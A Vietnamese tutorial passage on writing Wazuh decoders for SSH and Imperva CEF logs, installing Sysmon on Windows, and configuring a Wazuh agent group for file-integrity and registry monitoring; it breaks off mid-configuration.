Viết Decoders và Rules cho hệ thống Wazuh - Part 1

  1. Để làm gì?
  2. Decoders
    1. Là gì? Để làm gì?
    2. Viết như thế nào?
    3. Cú pháp biểu thức chính quy
    4. Ví dụ thực tế

Để làm gì?

Wazuh là hệ thống log tập trung, nó sẽ thu thập log từ tất cả các nguồn được xác định, phân tích log và từ đó đưa ra thông tin hoặc cảnh báo cho người quản trị. Tuy nhiên, để Wazuh có thể hiểu và phân tích được những gì nó đã nhận thì cần chuyển đổi những dữ liệu đó sang dạng ngôn ngữ của Wazuh.

Log là một dạng nhật ký có cấu trúc, ghi lại liên tục các thông báo về hoạt động của cả hệ thống hoặc của các dịch vụ được triển khai trên hệ thống và file tương ứng. Tùy vào các hệ thống và các tiến trình khác nhau mà log sinh ra sẽ được định nghĩa theo các trường, các thông tin trong log sẽ tương ứng với giá trị của các trường đó.

Ví dụ

Dec 25 20:45:02 MyHost example[12345]: User 'admin' logged from '192.168.1.100'

Khi nhìn vào log này tôi có thể định nghĩa ra các các trường cố định ứng với giá trị thay đổi như time:Dec 25 20:45:02, user:admin, ip:192.168.1.100.

Wazuh cũng vậy, nó dựa vào các trường được định nghĩa để có thể hiểu và phân tích được log mà nó đã nhận. Và việc của chúng ta là dựa vào những log mà hệ thống sinh ra, định nghĩa chúng thành các trường để Wazuh hiểu được và đưa ra cảnh báo dựa trên nó. Hiểu đơn giản là dịch lại các ngôn ngữ khác thành ngôn ngữ của Wazuh để nó hiểu được và giao tiếp lại được với chúng ta.

Để làm được điều này, ta cần quan tâm 2 phần: DecodersRules

Decoders

Là gì? Để làm gì?

Hiểu đơn giản thì decoders là trình biên dịch log để Wazuh đọc được và hiểu được log đó.

Decoders được viết dưới dạng XML.

Trước tiên, để viết được thì ta cần hiểu các tùy chọn được sử dụng để cấu hình nên các decoder. Documentation của Wazuh đã định nghĩa đầy đủ các tùy chọn có thể sử dụng. Nhưng trong bài này tôi sẽ chỉ liệt kê những tùy chọn quan trọng hay dùng nhất.

Option Values Description
decoder Bất kỳ Tên decoder
parent Tên decoder Xác định decoder nào là cha để các thành phần của decoder con sẽ tham chiếu đến nó
program_name regex,sregex hoặc pcre2 Đặt tên chương trình làm điều kiện để áp dụng bộ giải mã
prematch regex hoặc pcre2 Đặt biểu thức chính quy làm điều kiện để áp dụng bộ giải mã
regex regex hoặc pcre2 Tìm các trường và định nghĩa chúng
order order table Xác định tên của các trường vừa được định nghĩa
type type table Phân loại các log theo nhóm

Các tùy chọn khác có thể được dùng trong các trường hợp nhất định tùy thuộc vào đặc điểm nội dung của các loại log có trong hệ thống.

Viết như thế nào?

Có thể thấy việc đầu tiên khi viết decoders là phải tạo decoder cha bên trong có chứa program_name, các decoders phía sau sẽ gắn parent là tên của decoder cha và thêm các options prematch, regex, order,…

Tôi sẽ lấy ví dụ về mẫu log có sẵn trong tập decoders mặc định của Wazuh

May 10 11:13:40 jitauat sshd[112623]: Accepted password for root from 10.10.3.100 port 8266 ssh2

Log này có nội dung về đăng nhập thành công dịch vụ ssh với user root từ IP 10.10.3.100 port 8266. Phân tích log để xác định các trường

  • May 10 11:13:40: thời điểm login vào ssh
  • jitauat: tên hostname
  • sshd: tên dịch vụ
  • root: user đích
  • 10.10.3.100: IP nguồn
  • 8266: port nguồn

Vậy thì tôi sẽ tạo ra một decoder cha lấy tên là sshd để định nghĩa dịch vụ SSHprogram_namesshd để xác định điều kiện của decoder, nghĩa là bất kỳ log nào có chứa sshd thì Wazuh sẽ hiểu và gán nó vào decoder này.

<decoder name="sshd">
  <program_name>^sshd</program_name>
</decoder>

Tiếp theo, tôi sẽ tạo thêm các decoder con bên dưới để định nghĩa các trường có trong log.

Đầu tiên phải có parent với tên của decoder cha là sshd. prematch có thể chứa giá trị thay đổi xuất hiện trong log. Ví dụ, sự kiện login thành công thì log của nó sẽ chứa “Accepted” hoặc “Success”.

Với regex, Wazuh decoders sử dụng các biểu thức chính quy để trích xuất các giá trị thay đổi và order sẽ gán các giá trị đó với các trường mà chúng ta muốn định nghĩa

<decoder name="sshd-success">
  <parent>sshd</parent>
  <prematch>^Accepted</prematch>
  <regex offset="after_prematch">^ \S+ for (\S+) from (\S+) port (\S+)</regex>
  <order>user, srcip, srcport</order>
  <fts>name, user, location</fts>
</decoder>

Ví dụ về một decoder của một log khác cũng thuộc sshd

2020-03-25 08:23:20.933154-0700  localhost sshd[9265]: Connection reset by authenticating user user 192.168.33.1 port 51772 [preauth]

Decoder sẽ được viết như nhau

<decoder name="sshd-reset">
  <parent>sshd</parent>
  <prematch>Connection reset</prematch>
  <regex offset="after_prematch">(\S+) (\S+) port (\d+)</regex>
  <order>user, srcip, srcport</order>
</decoder>

Cú pháp biểu thức chính quy

Regular expressions - Biểu thức chính quy là tập hợp các mẫu dùng để tìm kiếm các bộ kí tự được kết hợp với nhau trong các chuỗi kí tự. Wazuh cũng sử dụng những regex đã rất phổ biến để xác định các mẫu.

Đọc thêm và thực hành về regexđây

Trong documentation của Wazuh có sử dụng 3 loại regex. Tôi sẽ chỉ tổng hợp lại những gì tôi hay dùng

Expressions Valid characters
\w A-Z, a-z, 0-9, -, @, _
\d 0-9
\s Spaces “ “
\t Tabs
\S Mọi ký tự không thuộc \s
\. Tất cả

Modifiers

Expressions Action
+ Khớp với 1 hoặc nhiều lần
* Khớp với 0 hoặc nhiều lần

Special characters

Expressions Action
^ Xác định phần đầu của văn bản
$ Xác định phần cuối của văn bản
| Tạo một logic hoặc ngăn cách giữa 2 mẫu

Characters escaping

$ ( ) \ | <
\$ \( \) \\ \| \<

Ví dụ thực tế

Tôi sẽ lấy ví dụ về một log thực tế trong quá trình làm việc của mình (tất nhiên là nội dung log đã được sửa đổi)

CEF:0|Imperva Inc.|SecureSphere|10.6.0|Recommended Signatures Policy for Web Applications|Recommended Signatures Policy for Web Applications|High|act=Block dst=10.11.12.13 dpt=443 duser=n/a src=103.187.191.141 spt=36614 proto=TCP rt=Apr 26 2023 13:08:12 cat=Alert cs1=Recommended Signatures Policy for Web Applications cs1Label=Policy cs2=mail.re-toor.vn cs2Label=ServerGroup cs3=mail cs3Label=ServiceName cs4=mail.re-toor.vn cs4Label=ApplicationName cs5===Nmap== scanner cs5Label=Description

Kiểm tra decoder với wazuh-logtest

root@dc-siemtest:/home/siemadmin# /var/ossec/bin/wazuh-logtest
Starting wazuh-logtest v4.4.5
Type one log per line

CEF:0|Imperva Inc.|SecureSphere|10.6.0|Recommended Signatures Policy for Web Applications|Recommended Signatures Policy for Web Applications|High|act=Block dst=10.11.12.13 dpt=443 duser=n/a src=103.187.191.141 spt=36614 proto=TCP rt=Apr 26 2023 13:08:12 cat=Alert cs1=Recommended Signatures Policy for Web Applications cs1Label=Policy cs2=mail.re-toor.vn cs2Label=ServerGroup cs3=mail cs3Label=ServiceName cs4=mail.re-toor.vn cs4Label=ApplicationName cs5=Nmap scanner cs5Label=Description

**Phase 1: Completed pre-decoding.
        full event: 'CEF:0|Imperva Inc.|SecureSphere|10.6.0|Recommended Signatures Policy for Web Applications|Recommended Signatures Policy for Web Applications|High|act=Block dst=10.11.12.13 dpt=443 duser=n/a src=103.187.191.141 spt=36614 proto=TCP rt=Apr 26 2023 13:08:12 cat=Alert cs1=Recommended Signatures Policy for Web Applications cs1Label=Policy cs2=mail.re-toor.vn cs2Label=ServerGroup cs3=mail cs3Label=ServiceName cs4=mail.re-toor.vn cs4Label=ApplicationName cs5=Nmap scanner cs5Label=Description'

**Phase 2: Completed decoding.

Phase 2 không có gì.

Phân tích qua về các phần có trong log này. Phần đầu tiên là các đoạn được phân tách với nhau bằng “|”, phần còn lại là các trường được phân tách bằng “=”. Phần số 2 tôi đã có sẵn tên trường do log định nghĩa. Với phần đầu tiên thì có thể dựa vào nội dung của các đoạn để định nghĩa tên các trường.

Đầu tiên tạo decoder cha với prematch

<decoder name="Imperva"> 
       <prematch>CEF:0\|Imperva Inc.\|</prematch> 
</decoder> 

Tiếp theo tạo decoder con định nghĩa các trường có trong phần 1. Không tính 2 đoạn đầu dùng để xác định loại log ở prematch thì tôi còn 5 đoạn phía sau để gán trường. Với mỗi trường tôi sẽ sử dụng 1 regex để đại diện cho giá trị có thể thay đổi.

<decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>CEF:0\|Imperva Inc.\|(\.+)\|(\.+)\|(\.+)\|(\.+)\|(\.+)\|</regex> 
       <order>application,version,event.type,event.name,severity</order> 
</decoder>

Nếu chỉ có ký tự chữ thì có thể chọn \S, tuy nhiên “Imperva Inc.” có 1 dấu chấm ở cuối nên tôi chọn \. đại diện cho ký tự bất kỳ. Tuy nhiên \. chỉ đại diện cho 1 ký tự, hiển thị được toàn bộ “Imperva Inc.” tôi phải thêm + vào sau, () để nhóm nó thành 1 khối và \ ở cuối để kết thúc khối này.

Cuối cùng là order dùng để định nghĩa tên của các khối phía trên. Tôi có 5 khối cần gán tên, và phụ thuộc vào nội dung của khối đó để xác định khối này tên tên gì. Ví dụ như khối đầu tiên SecureSphere là tên của sản phẩm nên tôi sẽ gán tên khối này là application, hoặc khối cuối cùng nội dung là High - mức độ nghiêm trọng, tôi có thể gán tên severity.

Toàn bộ decoder của log trên có thể được viết như sau:

<decoder name="Imperva"> 
       <prematch>CEF:0\|Imperva Inc.\|</prematch> 
    </decoder> 
 
    <!--<decoder name="Imperva_child"> -->
    <!--   <parent>Imperva</parent> -->
    <!--   <regex>\|SIEMintegration\|(\.+)\sfileId=</regex> -->
    <!--   <order>IncapRules</order> -->
    <!--</decoder> -->
    
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>CEF:0\|Imperva Inc.\|(\.+)\|(\.+)\|(\.+)\|(\.+)\|(\.+)\|</regex> 
       <order>application,version,event.type,event.name,severity</order> 
    </decoder>
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>fileId=(\.+) \w+=</regex> 
       <order>fileID</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>sourceServiceName=(\.+) \w+=</regex> 
       <order>sourceServiceName</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>siteid=(\.+) \w+=</regex> 
       <order>siteid</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>requestClientApplication=(\.+) \w+=</regex> 
       <order>requestClientApplication</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>deviceFacility=(\.+) \w+=</regex> 
       <order>deviceFacility</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs2=(\.+) \w+=</regex> 
       <order>cs2</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs2Label=(\.+) \w+=</regex> 
       <order>cs2Label</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs3=(\.+) \w+=</regex> 
       <order>cs3</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs3Label=(\.+) \w+=</regex> 
       <order>cs3Label</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs1=(\.+) \w+=</regex> 
       <order>cs1</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs1Label=(\.+) \w+=</regex> 
       <order>cs1Label</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs4=(\.+) \w+=</regex> 
       <order>cs4</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs4Label=(\.+) \w+=</regex> 
       <order>cs4Label</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs5=(\.+) \w+=</regex> 
       <order>cs5</order> 
    </decoder> 
    
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs5=(\.+)  \w+=</regex> 
       <order>cs5</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs5Label=(\.+) \w+=</regex> 
       <order>cs5Label</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs6(\.+) \w+=</regex> 
       <order>cs6</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs6Label=(\.+) \w+=</regex> 
       <order>cs6Label</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs7=(\.+) \w+=</regex> 
       <order>cs7</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs7Label=(\.+) \w+=</regex> 
       <order>cs7Label</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs8=(\.+) \w+=</regex> 
       <order>cs8</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs8Label=(\.+) \w+=</regex> 
       <order>cs8Label</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>customer=(\.+) \w+=</regex> 
       <order>customer</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>start=(\.+) \w+=</regex> 
       <order>start</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>request=(\.+) \w+=</regex> 
       <order>request</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>requestMethod=(\.+) \w+=</regex> 
       <order>requestMethod</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>app=(\.+) \w+=</regex> 
       <order>app</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>act=(\.+) \w+=</regex> 
       <order>action</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>deviceExternalId=(\.+) \w+=</regex> 
       <order>deviceExternalId</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cpt=(\.+) \w+=</regex> 
       <order>cpt</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>src=(\.+) \w+=</regex> 
       <order>src</order> 
    </decoder> 
    
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>dst=(\.+) \w+=</regex> 
       <order>dst</order> 
    </decoder> 
    
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>dpt=(\.+) \w+=</regex> 
       <order>dpt</order> 
    </decoder> 
    
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>duser=(\.+) \w+=</regex> 
       <order>duser</order> 
    </decoder> 
    
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>rt=(\.+) \w+=</regex> 
       <order>rt</order> 
    </decoder> 
    
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cat=(\.+) \w+=</regex> 
       <order>cat</order> 
    </decoder> 
    
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>proto=(\.+) \w+=</regex> 
       <order>protocol</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>ver=(\.+) \w+=</regex> 
       <order>ver</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>end=(\.+) \w+=</regex> 
       <order>end</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>fileType=(\.+) \w+=</regex> 
       <order>fileType</order> 
    </decoder> 
 
    <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>filePermission=(\.+) \w+=</regex> 
       <order>filePermission</order> 
    </decoder> 
 
   <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs9=(\.+) \w+=</regex> 
       <order>cs9</order> 
    </decoder> 
 
   <decoder name="Imperva_child"> 
       <parent>Imperva</parent> 
       <regex>cs9Label=(\.+) \w+</regex> 
       <order>cs9Label</order> 
    </decoder>

Kiểm tra decoder với wazuh-logtest

root@dc-siemtest:/home/siemadmin# /var/ossec/bin/wazuh-logtest
Starting wazuh-logtest v4.4.5
Type one log per line

CEF:0|Imperva Inc.|SecureSphere|10.6.0|Recommended Signatures Policy for Web Applications|Recommended Signatures Policy for Web Applications|High|act=Block dst=10.11.12.13 dpt=443 duser=n/a src=103.187.191.141 spt=36614 proto=TCP rt=Apr 26 2023 13:08:12 cat=Alert cs1=Recommended Signatures Policy for Web Applications cs1Label=Policy cs2=mail.re-toor.vn cs2Label=ServerGroup cs3=mail cs3Label=ServiceName cs4=mail.re-toor.vn cs4Label=ApplicationName cs5=Nmap scanner cs5Label=Description

**Phase 1: Completed pre-decoding.
        full event: 'CEF:0|Imperva Inc.|SecureSphere|10.6.0|Recommended Signatures Policy for Web Applications|Recommended Signatures Policy for Web Applications|High|act=Block dst=10.11.12.13 dpt=443 duser=n/a src=103.187.191.141 spt=36614 proto=TCP rt=Apr 26 2023 13:08:12 cat=Alert cs1=Recommended Signatures Policy for Web Applications cs1Label=Policy cs2=mail.re-toor.vn cs2Label=ServerGroup cs3=mail cs3Label=ServiceName cs4=mail.re-toor.vn cs4Label=ApplicationName cs5=Nmap scanner cs5Label=Description'

**Phase 2: Completed decoding.
        name: 'Imperva'
        action: 'Block'
        application: 'SecureSphere'
        cat: 'Alert'
        cs1: 'Recommended Signatures Policy for Web Applications'
        cs1Label: 'Policy'
        cs2: 'mail.re-toor.vn'
        cs2Label: 'ServerGroup'
        cs3: 'mail'
        cs3Label: 'ServiceName'
        cs4: 'mail.re-toor.vn'
        cs4Label: 'ApplicationName'
        cs5: 'Nmap scanner'
        dpt: '443'
        dst: '10.11.12.13'
        duser: 'n/a'
        event.name: 'Recommended Signatures Policy for Web Applications'
        event.type: 'Recommended Signatures Policy for Web Applications'
        protocol: 'TCP'
        rt: 'Apr 26 2023 13:08:12'
        severity: 'High'
        src: '103.187.191.141'
        version: '10.6.0'

Thành công.

Cài đặt và cấu hình Wazuh-agents

  1. Windows OS
    1. Sysmon
    2. Cài đặt Wazuh-agent cho windows
  2. Linux OS
    1. Packetbeat
    2. Cài đặt Wazuh-agent cho linux

Wazuh cung cấp phần mềm phía người dùng để thu thập và giám sát các hoạt động của người dùng trên máy đó. Các Wazuh agents sẽ chạy ngầm giống như Windows Defenders (ví dụ thế), thu thập toàn bộ các thay đổi trên máy tính của người dùng và gửi log về Wazuh manager.

Tuy nhiên, để agent được giám sát một cách chi tiết và mạnh mẽ nhất, cần cài thêm công cụ hỗ trợ cho Wazuh-agent, đó là Sysmon (cho Windows) và Packetbeat (cho Linux)

Windows OS

Sysmon

System Monitor (Sysmon) là một dịch vụ hệ thống của Windows cho phép người dùng có thể theo dõi được các hoạt động diễn ra trong windows như việc tạo quy trình, các kết nối mạng hay sự thay đổi của 1 file nào đó. Vì vậy nó rất hữu ích trong việc phân tích và quản lý log trên SIEM.

Để cho việc chuẩn hóa log được dễ dàng hơn, tôi sẽ sử dụng một cấu hình Sysmon có sẵn mà tôi tìm thấy trên github ở đây

Trong một các môi trường doanh nghiệp, việc sử dụng proxy server sẽ ngăn chúng ta chạy các scripts tự động tải file trực tiếp từ internet. Vậy nên cách làm của tôi là tải về trước và chạy sau (áp dụng cho cả Windows và Linux).

Việc đầu tiên là tải Sysmon từ trang chủ của Micorsoft và giải nén nó

Sau đó tải file config ở github repo phía trên về và lưu nó vào thư mục vừa giải nén phía trên.

Tiếp theo tôi sẽ tạo 1 file Powershell để chạy Sysmon với cấu hình của file config phía trên.

$serviceName = 'Sysmon64'
If (Get-Service $serviceName -ErrorAction SilentlyContinue) {
write-host ('Sysmon Is Already Installed')
} else {
Invoke-Command {reg.exe ADD HKCU\Software\Sysinternals /v EulaAccepted /t REG_DWORD /d 1 /f}
Invoke-Command {reg.exe ADD HKU\.DEFAULT\Software\Sysinternals /v EulaAccepted /t REG_DWORD /d 1 /f}
Start-Process Sysmon64.exe -Argumentlist @("-i", "sysmonconfig.xml")
}

Lưu lại file này với tên run.ps1

Lưu ý: phải để tất cả file này vào thư mục SysinternalsSuite đã giải nén thì mới chạy được

Sau đó chạy file run.ps1 với Powershell

Để kiểm tra xem Sysmon đã cài đặt thành công hay chưa, tôi sẽ mở Windows và tìm Event Viewer. Sau đó chọn Applications and Services Logs -> Microsoft -> Windows. Kéo xuống tìm Sysmon, nếu có Operational nghĩa là thành công và có thể kiểm tra log ngay trong đó

Cài đặt Wazuh-agent cho windows

Trước tiên, trên Wazuh-manager tôi tạo 2 group cho agent của 2 OS là windows và linux. Manager có cơ chế thay đổi được cấu hình ghi nhận log của agent tùy theo cấu hình của group.

Sau khi tạo group với tên OS-WINDOWS, tôi sẽ sửa đổi cấu hình của group như bên dưới để có thể nhận log từ Sysmon

<agent_config>
	<client_buffer>
		<!-- Agent buffer options -->
		<disabled>no</disabled>
		<queue_size>5000</queue_size>
		<events_per_second>500</events_per_second>
	</client_buffer>
	<!-- Policy monitoring -->
	<rootcheck>
		<disabled>no</disabled>
		<windows_apps>./shared/win_applications_rcl.txt</windows_apps>
		<windows_malware>./shared/win_malware_rcl.txt</windows_malware>
	</rootcheck>
	<sca>
		<enabled>yes</enabled>
		<scan_on_start>yes</scan_on_start>
		<interval>12h</interval>
		<skip_nfs>yes</skip_nfs>
	</sca>
	<!-- File integrity monitoring -->
	<syscheck>
		<disabled>no</disabled>
		<!-- Frequency that syscheck is executed default every 12 hours -->
		<frequency>43200</frequency>
		<!-- Default files to be monitored. -->
		<directories recursion_level="0" restrict="regedit.exe$|system.ini$|win.ini$">%WINDIR%</directories>
		<directories recursion_level="0" restrict="at.exe$|attrib.exe$|cacls.exe$|cmd.exe$|eventcreate.exe$|ftp.exe$|lsass.exe$|net.exe$|net1.exe$|netsh.exe$|reg.exe$|regedt32.exe|regsvr32.exe|runas.exe|sc.exe|schtasks.exe|sethc.exe|subst.exe$">%WINDIR%\SysNative</directories>
		<directories recursion_level="0">%WINDIR%\SysNative\drivers\etc</directories>
		<directories recursion_level="0" restrict="WMIC.exe$">%WINDIR%\SysNative\wbem</directories>
		<directories recursion_level="0" restrict="powershell.exe$">%WINDIR%\SysNative\WindowsPowerShell\v1.0</directories>
		<directories recursion_level="0" restrict="winrm.vbs$">%WINDIR%\SysNative</directories>
		<!-- 32-bit programs. -->
		<directories recursion_level="0" restrict="at.exe$|attrib.exe$|cacls.exe$|cmd.exe$|eventcreate.exe$|ftp.exe$|lsass.exe$|net.exe$|net1.exe$|netsh.exe$|reg.exe$|regedit.exe$|regedt32.exe$|regsvr32.exe$|runas.exe$|sc.exe$|schtasks.exe$|sethc.exe$|subst.exe$">%WINDIR%\System32</directories>
		<directories recursion_level="0">%WINDIR%\System32\drivers\etc</directories>
		<directories recursion_level="0" restrict="WMIC.exe$">%WINDIR%\System32\wbem</directories>
		<directories recursion_level="0" restrict="powershell.exe$">%WINDIR%\System32\WindowsPowerShell\v1.0</directories>
		<directories recursion_level="0" restrict="winrm.vbs$">%WINDIR%\System32</directories>
		<directories realtime="yes">%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\Startup</directories>
		<ignore>%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini</ignore>
		<ignore type="sregex">.log$|.htm$|.jpg$|.webp$|.chm$|.pnf$|.evtx$</ignore>
		<!-- Windows registry entries to monitor. -->
		<windows_registry>HKEY_LOCAL_MACHINE\Software\Classes\batfile</windows_registry>
		<windows_registry>HKEY_LOCAL_MACHINE\Software\Classes\cmdfile</windows_registry>
		<windows_registry>HKEY_LOCAL_MACHINE\Software\Classes\comfile</windows_registry>
		<windows_registry>HKEY_LOCAL_MACHINE\Software\Classes\exefile</windows_registry>
		<windows_registry>HKEY_LOCAL_MACHINE\Software\Classes\piffile</windows_registry>
		<windows_registry>HKEY_LOCAL_MACHINE\Software\Classes\AllFilesystemObjects</windows_registry>
		<windows_registry>HKEY_LOCAL_MACHINE\Software\Classes\Directory</windows_registry>
		<windows_registry>HKEY_LOCAL_MACHINE\Software\Classes\Folder</windows_registry>
		<windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Classes\Protocols</windows_registry>
		<windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Policies</windows_registry>
		<windows_registry>HKEY_LOCAL_MACHINE\Security</windows_registry>
		<windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer</windows_registry>
		<windows_registry>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services</windows_registry>
		<windows_registry>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\KnownDLLs</windows_registry>
		<windows_registry>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurePipeServers\winreg</windows_registry>
		<windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</windows_registry>
		<windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</windows_registry>
		<windows_registry>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</windows_registry>
		<windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\URL</windows_registry>
		<windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies</windows_registry>
		<windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</windows_registry>
		<windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon</windows_registry>
		<windows_registry arch="both">HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components</windows_registry>
		<!-- Windows registry entries to ignore. -->
		<registry_ignore>HKEY_LOCAL_MACHINE\Security\Policy\Secrets</registry_ignore>
		<registry_ignore>HKEY_LOCAL_MACHINE\Security\SAM\Domains\Account\Users</registry_ignore>
		<registry_ignore type="sregex">\Enum$</registry_ignore>
		<registry_ignore>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MpsSvc\Parameters\AppCs</registry_ignore>
		<registry_ignore>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MpsSvc\Parameters\PortKeywords\DHCP</registry_ignore>
		<registry_ignore>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MpsSvc\Parameters\PortKeywords\IPTLSIn</registry_ignore>
		<registry_ignore>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MpsSvc\Parameters\PortKeywords\IPTLSOut</registry_ignore>
		<registry_ignore>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MpsSvc\Parameters\PortKeywords\RPC-EPMap</registry_ignore>
		<registry_ignore>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MpsSvc\Parameters\PortKeywords\Teredo</registry_ignore>
		<registry_ignore>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\PolicyAgent\Parameters\Cache</registry_ignore>
		<registry_ignore>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</registry_ignore>
		<registry_ignore>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ADOVMPPackage\Final</registry_ignore>
		<!-- Frequency for ACL checking (seconds) -->
		<windows_audit_interval>60</windows_audit_interval>
		<!-- Nice value for Syscheck module -->
		<process_priority>10</process_priority>
		<!-- Maximum output throughput -->
		<max_eps>100</max_eps>
		<!-- Database synchronization settings -->
		<synchronization>
			<enabled>yes</enabled>
			<interval>5m</interval>
			<max_interval>1h</max_interval>
			<max_eps>10</max_eps>
		</synchronization>
	</syscheck>
	<!-- System inventory -->
	<wodle name="syscollector">
		<disabled>no</disabled>
		<interval>1h</interval>
		<scan_on_start>yes</scan_on_start>
		<hardware>yes</hardware>
		<os>yes</os>
		<network>yes</network>
		<packages>yes</packages>
		<ports all="no">yes</ports>
		<processes>yes</processes>
		<!-- Database synchronization settings -->
		<synchronization>
			<max_eps>10</max_eps>
		</synchronization>
	</wodle>
	<!-- CIS policies evaluation -->
	<wodle name="cis-cat">
		<disabled>no</disabled>
		<timeout>1800</timeout>
		<interval>1d</interval>
		<scan-on-start>yes</scan-on-start>
		<java_path>\\server\jre\bin\java.exe</java_path>
		<ciscat_path>C:\cis-cat</ciscat_path>
	</wodle>
	<!-- Osquery integration -->
	<wodle name="osquery">
		<disabled>yes</disabled>
		<run_daemon>yes</run_daemon>
		<bin_path>C:\Program Files\osquery\osqueryd</bin_path>
		<log_path>C:\Program Files\osquery\log\osqueryd.results.log</log_path>
		<config_path>C:\Program Files\osquery\osquery.conf</config_path>
		<add_labels>yes</add_labels>
	</wodle>
	<!-- Active response -->
	<active-response>
		<disabled>no</disabled>
		<ca_store>wpk_root.pem</ca_store>
		<ca_verification>yes</ca_verification>
	</active-response>
	<!-- Log analysis -->
	<localfile>
		<location>Microsoft-Windows-Sysmon/Operational</location>
		<log_format>eventchannel</log_format>
	</localfile>
	<localfile>
		<location>Windows PowerShell</location>
		<log_format>eventchannel</log_format>
	</localfile>
	<localfile>
		<location>Microsoft-Windows-CodeIntegrity/Operational</location>
		<log_format>eventchannel</log_format>
	</localfile>
	<localfile>
